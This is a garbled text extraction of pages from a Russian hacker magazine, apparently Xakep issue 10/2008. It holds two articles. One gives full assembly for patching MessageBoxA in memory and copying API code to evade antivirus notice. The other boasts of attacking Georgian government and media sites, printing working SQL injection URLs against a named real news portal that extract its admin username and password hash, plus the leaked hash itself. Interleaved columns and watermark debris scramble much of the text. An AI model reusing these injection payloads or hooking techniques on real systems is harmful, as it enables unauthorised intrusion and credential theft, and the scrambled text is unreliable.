—размерэтойобластипамяти(внашемслучае—8байт).Третий—байт-

 

 

 

PUSH DWORD PTR SS:[EBP+14]

;|Style

 

 

 

 

PUSH DWORD PTR SS:[EBP+10]

;|Title

 

код,представляющийсобойновыеатрибутыдляобластипамяти.Из

 

 

 

PUSH DWORD PTR SS:[EBP+C]

; |Text

 

справочнойлитературыилиспомощьютакойутилиты,какLordPE,

 

 

 

PUSH DWORD PTR SS:[EBP+8]

; |hOwner

 

узнаем,чтозначение,соответствующееатрибуту«RWE»,будетравно40h.

 

 

 

CALL user32.MessageBoxExA

; MessageBoxExA

 

Наконец,последнийпараметр—этоуказательнапеременную,которая

 

 

 

 

 

 

 

 

содержитстарыеатрибуты.Вкачествеэтогопараметравстекможно

 

 

 

Поменяемместамиатрибуты«Title»и«Text»(тоестьзаголовококнаиего

положитьлюбойадрес,покоторомунаходитсянулеваяпеременная.Я

 

 

 

текст).Дляэтогопростопоменяеминструкцию,расположеннуюпоадресу

выбраладрес00401060.Естественно,встеквсепараметрыкладутся,

 

 

 

7E3A05C1наинструкцию,котораянаходитсяпоадресу7E3A05C7,—и

начинаяспоследнего.

 

 

 

 

 

 

наоборот.Ядумаю,тызнаешь,чтовнестинеобходимыеизменениямож-

Чутьраньшемыполучилимашинныйкодизмененныхбиблиотечныхинс-

 

 

 

новокне,котороепоявляетсяподвойномущелчкулевойкнопкимыши

трукций.Поместимихвтеленашейпрограммы.Выделяйвосемьбайт,

 

 

 

нанужнойкоманде.Теперьвыделимтриинструкции,начинаясадреса

начинаясадреса00401100,инажимай<ctrl+e>.Послечеговнижнем

 

 

 

7E3A05C1,иизменюправойкнопкимышивыберем«BinaryBinary

полепоявившегосяокнавписывайсохраненныенамиранеезначе-

 

 

 

copy»дляполучениямашинныхкодовизмененныхинструкций(почему

ния.Подтверждайизменениянажатиемнакнопку«Ok».Самоевремя

 

 

 

триинструкции,анедве,яобъяснюпозже).

написатькод,которыйбудет«патчить»системнуюбиблиотеку.Здесьвсе

 

 

 

Вбуферобменабудетпомещенследующийкод:FF 75 0C FF 75 10 FF

предельнопросто:врегистрEAXприпомощикомандыMOVбудемпоме-

 

 

 

75 08.Последнийбайтнамненужен,—егоотрезаем.Останетсявосемь

щатьданные,которыенеобходимозаписатьповерхоригинальногокода

 

 

 

необходимыхнамбайт.Второезначение,котороепонадобитсявходе

API-функции.ВрегистрEBXспомощьютойжеинструкцииMOVположим

 

 

 

выполнениязадачи:адрес,начинаяскоторогоразмещеныизмененные

адрес,покоторомубудемпроизводитьзапись(егомытакжеполучили

 

 

 

инструкции:7E3A05C1.

 

 

 

 

ранее,—7E3A05C1).Производитьзаписьбудемприпомощиинструкции

 

 

 

Итак,почемужемыскопировалимашинныйкод,состоящийизвосьми

MOV [EBX], EAX.Послеэтихманипуляцийнеобходимовызватьфункцию

 

 

 

байт,хотямодифицировалиинструкциитольковпределахшестибайт?

MessageBoxA,котораябыламодифицирована,ипередатьуправление

 

 

 

Всеоченьпросто—оперироватьсданнымимыбудем,используячеты-

наинструкцию,следующуюсразузакомандойбезусловногопереходана

 

 

 

рехбайтныерегистры.Соответственно,иписатьвпамятьмыбудемпо4

нашкод.Последнеезамечание—необходимосохранитьвсерегистры

 

 

 

байта.Минимальноечисло,кратноечетыремибольшешести,—вось-

передначаломвыполнениянашегокодаивозвратитьихвисходноесо-

 

 

 

мерка.

 

 

 

 

стояниепослееговыполненияприпомощипарыкомандpushad/popad.

 

 

 

 

 

 

 

 

 

Приступимкмодификациипрограммы. Перезапускаемотлаживаемый

Врезультатеполучимследующийкод:

 

 

 

процесс.ВызовфункцииMessageBoxA,располагающийсяпоадресу

 

 

 

 

 

 

 

 

0040100E,заменяемнабезусловныйпереход: jmp 00401026(начиная

PUSHAD

 

 

 

 

 

 

 

сэтогоадреса,будетрасполагатьсянаписанныйнамикод).Ксожалению,

PUSH 00401060 ; указатель на нулевой байт — параметр

 

 

 

 

системныебиблиотеки,располагающиесявконтекстепроцесса,защи-

"lpflOldProtect"

 

 

 

 

 

 

щеныотзаписи(страницыпамяти,вкоторойразмещенаdll,имеютатри-

MOV EAX,40 ; Помещаем в EAX параметр "flNewProtect",

 

 

 

 

бут«readable»).Намнеобходимовыставитьатрибут«RWE»,—разрешить

который разрешает запись в область памяти, где распола-

 

 

 

 

записьвобластьпамяти.Легчевсегопроделатьэтоприпомощивызова

гается наша DLL

 

 

 

 

 

 

системнойфункцииVirtualProtectссоответствующимипараметрами,

PUSH EAX

; кладем параметр в стек

 

 

 

 

переданнымивстек.Вотеепрототип:

 

 

 

PUSH 8

; параметр dwSize

 

 

 

 

 

 

 

 

 

PUSH 7E3A05C1

; параметр lpAddress

 

 

 

 

function VirtualProtect(

 

 

 

CALL VirtualProtect

; вызываем VirtualProtect

 

 

 

 

lpAddress: Pointer;

// начальный адрес области памяти

 

MOV EAX,[401100]; кладем в eax первые 4 байта машинного

 

 

 

 

dwSize: DWORD;

// размер области памяти

 

кода

 

 

 

 

 

 

 

flNewProtect: DWORD;

// новые атрибуты защиты

 

MOV EBX,7E3A05C1 ; адрес, куда запишется машинное слово

 

 

 

 

lpflOldProtect: Pointer // указатель на старые атрибуты

 

MOV [EBX],EAX

; записываем машинный код в тело API-фун-

 

 

 

 

): BOOL; stdcall; overload;

 

 

 

кции

 

 

 

 

 

 

 

 

 

 

 

 

MOV EAX,[401104] ; помещаем в eax 4 последних байта ма-

 

 

 

 

Первыйпараметр—адрес,скоторогоначинаетсяобластьпамяти,

 

 

 

 

шинного кода

 

 

 

 

 

 

 

атрибутыстраницкоторойподлежатмодификации.Второйпараметр

MOV EBX,7E3A05C5 ; в ebx помещаем адрес, по которому бу-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

xàêåð 10 /118/ 08

063

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Application programming interfaceto BUY

 

on programmingto BUY >> взломinterface

 

w Click

 

 

 

 

 

 

 

m

 

 

 

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

o

 

 

 

w

 

df-xchan

 

 

 

Application programming interface

 

w

 

df-x chan

 

 

 

 

 

.

 

.c

 

 

.

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Application programming

inter

erface lication

erface

Applic

inter inter

plica plica

facerface

rface

Этот код изменит функциональность MessageBoxA «на лету», пропатчив библиотеку в памяти

 

 

 

 

 

API-функциязанимаетвпамяти48hбайт.Запомним!Такжезапишемна

 

дет записано машинное слово

 

 

MOV [EBX],EAX ; записываем машинный код в тело API-функ-

 

клочкебумагибазовыйадресфункции—7E3A058A.Код,которыйбудет

 

ции

 

считыватьизпамятимашинныйкодAPIиразмещатьеговсекциикода

 

POPAD; восстанавливаем регистры перед вызовом

 

программы,расположимпоадресу00401026.Азначит,вызовCALL

 

MessageBoxA

 

<JMP.&user32.MessageBoxA> замениминструкциейпереходакна-

 

CALL MessageBoxA

 

шемукоду: JMP 00401026.Воткакбудетвыглядетьцикл,копирующий

 

JMP 00401013 ; переходим к дальнейшему выполнению про-

 

телоAPIвсекциюкоданашейпрограммы:

 

граммы

 

 

 

 

 

 

 

 

00401026

PUSHAD

; сохраняем регистры в стек

Послетого,каквведешьего,пронаблюдайрезультатвыполненияпро-

 

00401027

MOV EAX,7E3A0588 ; базовый адрес API-функции

граммы.ДваатрибутаAPI-функцииMessageBoxAпоменялисьместами,

 

минус 2 байта

 

причемврезультатеинлайн-патчингакодабиблиотеки,располагающей-

 

0040102C

MOV ECX,48; ecx — счетчик цикла, помещаем в ре-

сявпамяти.

 

гистр размер API-функции

 

 

 

00401031

MOV BX,[EAX+ECX]; помещаем в двухбайтовый ре-

 

Воровство кода

 

гистр BX 2 байта из тела API-функции

 

 

 

 

Теперьпредставимнаминуту,чтоунаснетдоступакизменениюатри-

 

00401035

MOV [ECX+401100],BX; записываем содержимое BX в

бутовстраницпамяти.Пускайдажеиесть,—любойантивирусможет

 

память по адресу ECX+401100

заподозрить,чтопроцесссовершаеткакую-тогадость,еслиизменяет

 

0040103C

SUB ECX,2; уменьшаем значение счетчика на 2

параметрыпамяти,гдерасположенасистемнаябиблиотека.Здесь

 

0040103F

JNZ 00401031; продолжаем выполнять цикл, если

придетсяпридуматьнечтоособенное.Япредлагаюперенестиинструк-

 

ECX не равен нулю

 

цииAPI-функции,которуюнеобходимопропатчить,всвободнуюобласть

 

 

 

 

 

 

 

 

 

 

секциикоданашейпрограммы.Делаетсяэтоэлементарно:спомощью

 

Каквидишь,кодпростой,нодамкое-какиекомментарии.Почемумыпо-

тойжеинструкцииmov,толькопомещеннойвцикл.

 

местиливрегистрEAXнебазовыйадрес,абазовыйадрес-2?Впослед-

Дляпримерапопробуемперенестивсекциюкодаипропатчитьтуже

 

нейитерациициклазначениесчетчикаECXбудетравно2,а2+7E3A0588

самуюфункцию,чтомырассматривалиранее,—MessageBoxA.Сначала

 

идаетбазовыйадрес.Следующиеинструкциипоследовательно,по2

выберемадрес,гдебудетбазироватьсяперемещаемыйкодAPI-функции.

 

байта,копируюттелоAPI-функции(соответственно,исчетчикмыустано-

Пустьэто—00401100.Теперьоткроемужерассмотренныйнамифайл

 

вилисшагом2—припомощиинструкции«SUB ECX, 2»).

ex.exeподOllyDbgипротрассируемкодвплотьдовызоваMessageBoxA

 

Казалосьбы,всесделано.Нозапусктакогокодаобреченнанеудачу.

(кудазайдемпо<F7>).Сделавнесложныйподсчет,определяем,что

 

Почему?Мыперенеслифункцию,котораяжесткопривязанакбазовому

064

xàêåð 10 /118/ 08

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

 

 

-

 

 

 

d

 

 

F

 

 

 

 

 

 

i

 

 

 

 

 

F

 

 

 

 

 

i

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

o

 

 

 

P

D

 

 

 

 

 

 

o

 

 

 

NOW!

r

Application programming interface

 

 

 

NOW!

r

 

 

 

 

to BUY

 

 

>> взломto BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

 

 

w

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

o

Application programming interface

w Click

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

e

 

 

 

p

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

df-xchan

 

 

 

 

Applicationdf-xprogrchan

face

 

 

 

 

 

 

 

00401046

MOV EBX,00401136 ;помещаем в EBX адрес, по кото-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

рому будем записывать машинный патч-код

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0040104B

MOV [EBX],EAX ; записываем содержимое регистра

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

EAX по адресу, помещенному в EBX

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; аналогично — для второй и третьей инструкций:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0040104D

MOV EAX,E890006A

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

00401052

MOV EBX,0040113F

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

00401057

MOV [EBX],EAX

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

00401059

MOV EAX,7DF9F4B5

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0040105E

MOV EBX,00401143

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

00401063

MOV [EBX],EAX

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Патч-коддляинструкции«ret»состоитизпятибайт,арегистр—четы-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

рехбайтовый.Разобьемоперациюпатчинганадваподхода:

 

 

 

 

 

 

 

 

 

face

 

 

 

 

 

 

 

00401065

MOV EAX,FFFEC6E9 ; помещаем в EAX четыре байта

 

 

 

 

 

 

 

 

 

 

 

 

 

 

патч-кода

 

 

 

 

 

 

 

 

 

 

face Этот код исправил ситуацию, сделав перенесенную функцию работоспо-

0040106A

MOV EBX,00401148 ; помещаем адрес в EBX

 

 

 

 

 

 

 

 

 

 

 

 

 

 

собной

 

0040106F

MOV [EBX],EAX ; записываем патч-код

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

00401071

MOV EAX,0FF ; помещаем в EAX оставшийся, послед-

 

 

 

 

 

 

 

 

 

 

адресу,аэтозначит,чтовызовыиинструкциитипа«ret»становятся

ний, байт патч-кода

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

недействительными.Чтобыпридатьперенесенномукодуработоспособ-

00401076

MOV EBX,0040114C ; в EBX помещаем адрес

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ность,придетсяегопропатчить.Дляначалаполучиммашинныекоды,

0040107B

MOV [EBX],EAX; патчим

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

которыебудем«накладывать»наперемещеннуюAPI-функцию,исправ-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ляяпроблемныеместа.Поставьточкуостановапоадресу00401041

Кодпочтиготов.ОсталосьвосстановитьрегистрыкомандойPOPADи

 

 

 

 

 

 

 

 

 

 

 

 

 

 

изапустипрограммунаисполнение(<F9>).Послесмелопереходипо

передатьуправлениеперенесеннойвсекциюкодаиисправленнойAPI-

 

 

 

 

 

 

 

 

 

 

 

адресу00401100,чтобыпосмотреть,какиеобластиперенесенногокода

функцииMessageBoxA(инструкцией JMP 00401102).Воткаквыглядит

 

 

 

 

 

 

 

 

 

 

 

 

нуждаютсявпатчинге.

написанныйнамикодцеликом:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Насинтересуютчетыреинструкции,которыемешаютнормальнойработе

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

функции.Первая—командапомещениявстекзаголовкаокна,параметр

00401026

PUSHAD

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

непередается.Воткаквыглядитинструкция:

00401027

MOV EAX,7E3A0588

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0040102C

MOV ECX,48

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

00401136

PUSH [EBP+14]

00401031

MOV BX,[EAX+ECX]

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

00401035

MOV [ECX+401100],BX

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Тажеситуация—исинструкцией,передающейпараметр-хэндлроди-

0040103C

SUB ECX,2

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тельскогоокна.

0040103F

JNZ 00401031

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

00401041

MOV EAX,FF90006A

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0040113F PUSH [EBP+8]

00401046

MOV EBX,00401136

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0040104B

MOV [EBX],EAX

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ОбеэтихкомандыприпатчингебудемзаменятьинструкциейPUSH0.

0040104D

MOV EAX,E890006A

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Машинныйкодэтойинструкциивыглядиткак6A00.Намотаемнаус.

00401052

MOV EBX,0040113F

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Следующаяинструкция,котораябылаиспорченаприпереносекодаAPI-

00401057

MOV [EBX],EAX

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

функции,—вызовMessageBoxExA:00401142 CALL 00401174.

00401059

MOV EAX,7DF9F4B5

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ее также следует пропатчить! Машинный код, необходимый для этого,

0040105E

MOV EBX,00401143

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

получим так: дважды нажмем на инструкцию, расположенную по адре-

00401063

MOV [EBX],EAX

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

су 00401142, левой кнопкой мыши и в появившемся окне введем «call

00401065

MOV EAX,FFFEC6E9

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

MessageBoxExA»(без кавычек). После этого нажмем на исправленную

0040106A

MOV EBX,00401148

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

инструкцию правой кнопкой мыши и из контекстного меню выберем

0040106F

MOV [EBX],EAX

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

«BinaryBinary copy». Вот полученный четырехбайтный машинный

00401071

MOV EAX,0FF

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

код: E8B5F4F97D.

00401076

MOV EBX,0040114C

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Последняяинструкция,скоторойследует«разобраться»,—этооперация

0040107B

MOV [EBX],EAX

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

возврата: 00401148 RETN 10

0040107D

POPAD

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Заменимеепереходомкосновномукодупрограммы(«JMP 00401013»)

0040107E

JMP 00401102

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

изатемполучиммашинныекодыэтойинструкцииприпомощитойже

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

команды«BinaryBinarycopy».Кодэтойинструкции:E9C6FEFFFF.

Есливсебылосделаноправильно,перенесеннаяAPIбудетработать.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Самоевремянаписатькод,которыйбудетсовершатьпатчинг.Еслиучесть,

Этотметодзамечателентем,чтомыможемкакугодномодифицировать

 

 

 

 

 

 

 

 

 

 

 

 

чтоунасестьмашинныекодыинструкцийиадреса,покоторымнеобходимо

кодAPI,неимеявозможностиизменитьатрибутыстраницпамяти,где

 

 

 

 

 

 

 

 

 

 

 

 

 

ихзаписать,тоисправляющийкодбудетвыглядетьоченьпросто.Единст­

расположенасистемнаябиблиотека.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

веннаяремарка:впамятьпатч-кодбудетпомещаться«задомнаперед»,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

начинаяс«хвоста»регистраизаканчиваяего«головой».Значит,врегистр

Конец?!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

машинныекодыбудемзаносить,предварительно«перевернувих».

Естественно, это не конец, ибо существует масса интересных идей.

 

 

 

 

 

 

 

 

 

 

 

Дляпервыхтрехинструкцийпатч-кодбудетвыглядетьследующим

Технические возможности огромны, ум реверсера остер, а совер-

 

 

 

 

 

 

 

 

 

 

 

 

образом:

 

шенных защитных механизмов не существует. О многих методах

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

патчинга API мы еще расскажем, до других ты, наверняка, додума-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

00401041 MOV EAX,FF90006A ; помещаем патч-код для первой

ешься сам. Все зависит только от твоего воображения. Удачи во

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

инструкции (задом наперед) в регистр EAX

взломах! z

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

xàêåð 10 /118/ 08

 

 

065

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> взлом

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

Леонид «R0id» Стройков

/ stroikov@gameland.ru /

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Forbidden

Нашответ Грузии

Наносим удары по грузинским госпорталам

Ни для кого не секрет, что все политические события находят отражение в Сети. Так было во время нападения террористов на Нальчик в позапрошлом году (вспомним массовые атаки на сервер КавказЦентра). Так произошло и во время августовских событий в Южной Осетии. Кибер-войны стали неотъемлемой частью реальных, кровопролитных, событий. Хорошо это или плохо — каждый решает сам. Но мы, хакеры, решили — что плохо!

ирное распитие пива в сочетании с пролистыванием М башорга было неожиданно прервано экстренными вы-

пусками новостей о ходе развития грузино-осетинского конфликта. Просмотрев новостные ленты и убедившись в

бесполезности уподобления участникам политических баталий, я решил прошерстить несколько государственных и информационных ресурсов в доменной зоне .GE.

Атакуем СМИ

Как известно, ни одно крупномасштабное событие не обходится без участия средств массовой информации. В свою очередь, они активно используют интернет для передачи своего видения происходящего. Да, ты не ослышался, именно «своего видения», ибо каждое СМИ публикует исключительно то, что хочет (или что подсказали). Абсолютно противоположные взгляды российских и западных/грузинских изданий побудили меня глубже вникнуть в ситуацию, со всеми вытекающими отсюда последствиями :). В качестве первого объекта для установления информационного баланса на просторах зоны .GE был выбрал ресурс www.presa.ge. Название домена говорит само за себя, поэтому я не стану описывать контент сайта. Скажу лишь, что, по данным Гугла, портал имеет PR 5. После «Reverse IP» сервера стало понятно, что сайт хостится в Грузии и имеет поддомен pda.presa.ge. Поработав с движком ресурса www.presa.ge, через некоторое время я отыскал типичный sql-инъект, который имел вид:

http://www.presa.ge/index.php?text=news&i=-1+sql-запрос

Функции user() и version() выдали достаточно радужную для меня инфу:

user() — presa_ge@localhost version() — 5.0.51

Версия мускула была выше 5, и, следовательно, перебор табличек не представлял собой ничего сверхъестественного:

http://www.presa.ge/index.php?text=news&i=- 1+union+select+1,2,table_name,4,5,6,7,8,9,10,11+from+i nformation_schema.tables+limit+21,1--

К моему удивлению, табличка «users» имела всего одну запись:

http://www.presa.ge/index.php?text=news&i=-1+union+sel ect+1,2,count(*),4,5,6,7,8,9,10,11+from+users--

Тем не менее, логин и пароль удалось заполучить без особых проблем:

http://www.presa.ge/index.php?text=news&i=-1+union+sel ect+1,2,concat(user_username,char(58),user_password),4 ,5,6,7,8,9,10,11+from+users+limit+0,1--

Асам аккаунт имел вид:

presa.ge:c1ab283404b71a940807009023a764bd

Судя по хэшу, пасс был шифрован md5 алгоритмом, что при правильном подходе не сулило ничего сложного. Огорчало другое, — мне так и не удалось найти месторасположение админки либо формочки логина

066

xàêåð 10 /118/ 08

Соседние файлы в папке журнал хакер